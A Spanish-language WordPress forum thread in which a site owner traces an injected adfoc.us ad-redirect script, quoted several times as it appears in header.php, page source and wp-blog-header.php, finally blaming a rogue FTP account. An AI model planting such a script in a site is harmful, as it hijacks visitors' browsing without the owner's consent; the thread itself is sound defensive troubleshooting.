[SOLUCIONADO] Eliminar publicidad que se introduce en mi header.php

[cooosmos]

Hola amigos del foro, recien descubri que al entrar a mi sitio me enviaba a un acortador de enlace donde me mostraba una publicidad, tenias que dar clic en omitir para que despues te redireccione a la pagina como normalmente es,

Estuve viendo de donde provenia y detecte que mi header.php tenia una modificacion, al final tenia el siguiente codigo.

Código:

<script type="text/javascript" src="http://adfoc.us/js/siteoverlay/script.js"></script>
<script type="text/javascript">
	var id_user = 117681;
	var frequency_cap = 2;
	var delay_nextad = 10;
	var delay_pageload = 0;
</script>

la primera vez lo borre y se soluciono el problema, pero ha vuelto a aparecer a alguien le ha pasado algo similar, alguna ayuda para solucionar esto?

No se si fue algun plugin, o modifique sin querer algun archivo y deje con permisos de escritura, incluso he actualizado todos los plugins y tengo la version nueva ¿alguna ayuda?

Última revisión el febrero 3, 2013 a las 12:06 am. Comprobar de nuevo
Tienes la última versión de WordPress. No es necesario actualizarla.

[hasdpk]

Seguramente tendrás tus carpetas con permiso 777. Eso es una vulnerabilidad y pasan cosas como la que te ha pasado.

Cambio los permisos de todos tus archivos a 644 y las carpetas a 755. La carpeta /uploads puedes probar con 666.

Más información: http://ayudawordpress.com/permisos-d...-en-wordpress/

[cooosmos]

He revisado todas mis carpetas y asi estan, a excepcion de la de uploads tenia permiso 775, se lo he cambiado aunque ahora no encuentro de donde sale ese codigo, aparece al final de mi codigo cuando le doy ver codigo fuente

Código PHP:

</div>
</body>
 
</html>
 
<script type="text/javascript" src="http://adfoc.us/js/siteoverlay/script.js"></script>
<script type="text/javascript">
    var id_user = 117681;
    var frequency_cap = 2;
    var delay_nextad = 10;
    var delay_pageload = 0;
</script><!-- hyper cache: 9d709bfabcef77ea0ff88636e582f12a 13-02-05 09:38:42 -->
 

Alguna otra recomendacion, pueden echar un vistazo a mi pagina es esta torneodelazo.com,

Gracias por la respuesta y si tienen alguna ayuda mas bienvenida!

[American2010]

Pues al llegar al final de tu sitio, uno es redirigido automáticamente a un sitio con la url que mencionas.

¿Que Theme estas usando? ¿De dónde lo descargaste?

Si usas un plugin de cache, eliminalo "<!-- hyper cache: 4e280b88e38b19ffcef79f0bda07448a 13-02-05 11:46:20 -->" no se que será eso...

¿Qué host usas?

Prueba temporalmente pasar al Theme oficial que viene con tu Wordpress, ya sea Twenty-Ten, Eleven or Twelve.

Revisa el "footer.php" de tu theme y ve si no está encriptado

PD: ¿Los anuncios de Adsense si son tuyos? En caso de que si, los que están casi al pie de la página, de seguro no reciben muchos clicks, ese te aconsejo modificarlo por alguno quizás en el sidebar.

[cooosmos]

Gracias American2010 el theme que uso lo hice con artister (o algo asi) los adsense si son mios, uso el plugin Hype Cache para mejorar la rapidez del sitio, con ese tema llevo ya mas de 1 año, el footer esta normal, o al menos no le veo nada raro, este es mi archivo footer.

Código PHP:

<div class="art-Footer">
    <div class="art-Footer-inner">
                <a href="<?php bloginfo('rss2_url'); ?>" class="art-rss-tag-icon" title="RSS"></a>
 
                <div class="art-Footer-text"><?php if(function_exists('wp_pagenavi')) { wp_pagenavi(); } ?> 
<p>
<?php 
 global $default_footer_content;
 $footer_content = get_option('art_footer_content');
 if ($footer_content === false) $footer_content = $default_footer_content;
 echo $footer_content;
?>
</p>
</div>
    </div>
    <div class="art-Footer-background">
    </div>
</div>
        <div class="cleared"></div>
     </div>
</div>
<div class="cleared"></div>
<p class="art-page-footer">Adaptado y Administrado Por <a href="http://www.bycooosmos.com">Cooosmos</a></p>
</div>
<!-- <?php printf(__('%d queries. %s seconds.', 'kubrick'), get_num_queries(), timer_stop(0, 3)); ?> -->
<div><?php wp_footer(); ?></div>
</body>
</html>
 

Le active el Theme Twenty Eleven y sigue haciendo lo mismo, redirecciona a la pagina de publicidad. Ahora ya no encuentro de donde se genera el codigo, solamente aparece, ya me esta volviendo loco esto, alguna otra sugerencia..

[American2010]

Revisé tu sitio, y el código parece haber desaparecido.

Revisa todos los Widgets en tu sitio y todos los plugins.

Baja todos tus archivos a tu disco, y realiza una búqueda que busque dentro de los archivos por algo como "http://adfoc.us/js/siteoverlay/script.js"

Pero al menos, al entrar ahora parece limpio.

[cooosmos]

En efecto acabo de encontrar cual es el archivo que tenia el codigo, es este
wp-blog-header.php de algun modo esta persona se colo a mi sitio, ya cambie permisos a carpetas y archivos, por ejemplo este archivo quedo en 644 es correcto?

Ya cambie contraseñas de FTP y Administradores del sitio a ver como me va. Saludos y gracias por la ayuda...

[zanguanga]

por ejemplo este archivo quedo en 644 es correcto?

Correcto: todos los archivos en 644, todas las carpetas en 755. Aquí tienes las mejores recomendaciones sobre seguridad.

[hasdpk]

¿Que tipo de archivos JavaScript carga tu página? Puede ser que tengas alguna vulnerabilidad en alguno de ellos.

[cooosmos]

Tengo un mundo de Script, descargue todos mis .js esta es la imagen de mis archivos



he revisado y no encuentro porque esta complicado el codigo de los JS, el codigo regreso en el archivo wp-blog-header.php.

Esto es lo que ya hice:

Cambiar Contraseñas
Cambiar permiso a archivos 644 y carpetas 755
Cambiar Theme
Actualizar mi wordpress
Actualizar todos los plugins.

Alguna sugerencia mas, sigue apareciendo el codigo este es mi fuente del archivo wp-blog-header.php.

Código PHP:

<?php
 
/**
 
 * Loads the WordPress environment and template.
 
 *
 * @package WordPress
 
 */
 
if ( !isset($wp_did_header) ) {
    $wp_did_header = true;
    require_once( dirname(__FILE__) . '/wp-load.php' );
    wp();
    require_once( ABSPATH . WPINC . '/template-loader.php' );
}
?>
<script type="text/javascript" src="http://adfoc.us/js/siteoverlay/script.js"></script>
<script type="text/javascript">
    var id_user = 117681;
    var frequency_cap = 2;
    var delay_nextad = 10;
    var delay_pageload = 0;
</script>
 

Al final carga el codigo de la publicidad, ya no encuentro solucion..... si alguien tiene algo mas bienvenido, y Gracias.
*Cabe mencionar que he modificado y eliminado la parte donde hace referencia a la publicidad, el problema es que regresa.

[zanguanga]

Desmarco el solucionado. En alguna parte han debido meterte un script que te genera ¿has revisado en la carpeta uploads y la base de datos? ¿Es posible que tengas un virus en tu ordenador?

[23r9i0]

Como dice zanguanga el problema es que en tu servidor tienes algun archivo que edita el wp-blog-header.php, revisa el servidor y comprueba que no tienes nada que no sea del wordpress, no te puedo decir nada mas por ahora.

[cooosmos]

Hola hola, primero que nada gracias a los que me ayudaron, y segundo pues al parecer he logrado solucionar el problema de la publicidad en mi web.

La solución (esperemos que sea definitiva) fue regresar a lo basico, o sea inicie primero en mi panel de administracion de mi hosting, (cpanel) y ahi descubri una cuenta de ftp que yo nunca cree, pero tenia permisos de administrador y podia entrar la raiz del sitio, intente eliminarla me marcaba error, lo que hice fue cambiarle de contraseña.

No ha aparecido de nuevo, ojala y la solucion esta sea definitiva, a lo que voy, problema del wrodpress nunca fue, sino fue directamente de mi hosting.

Saludos, y de nuevo gracias.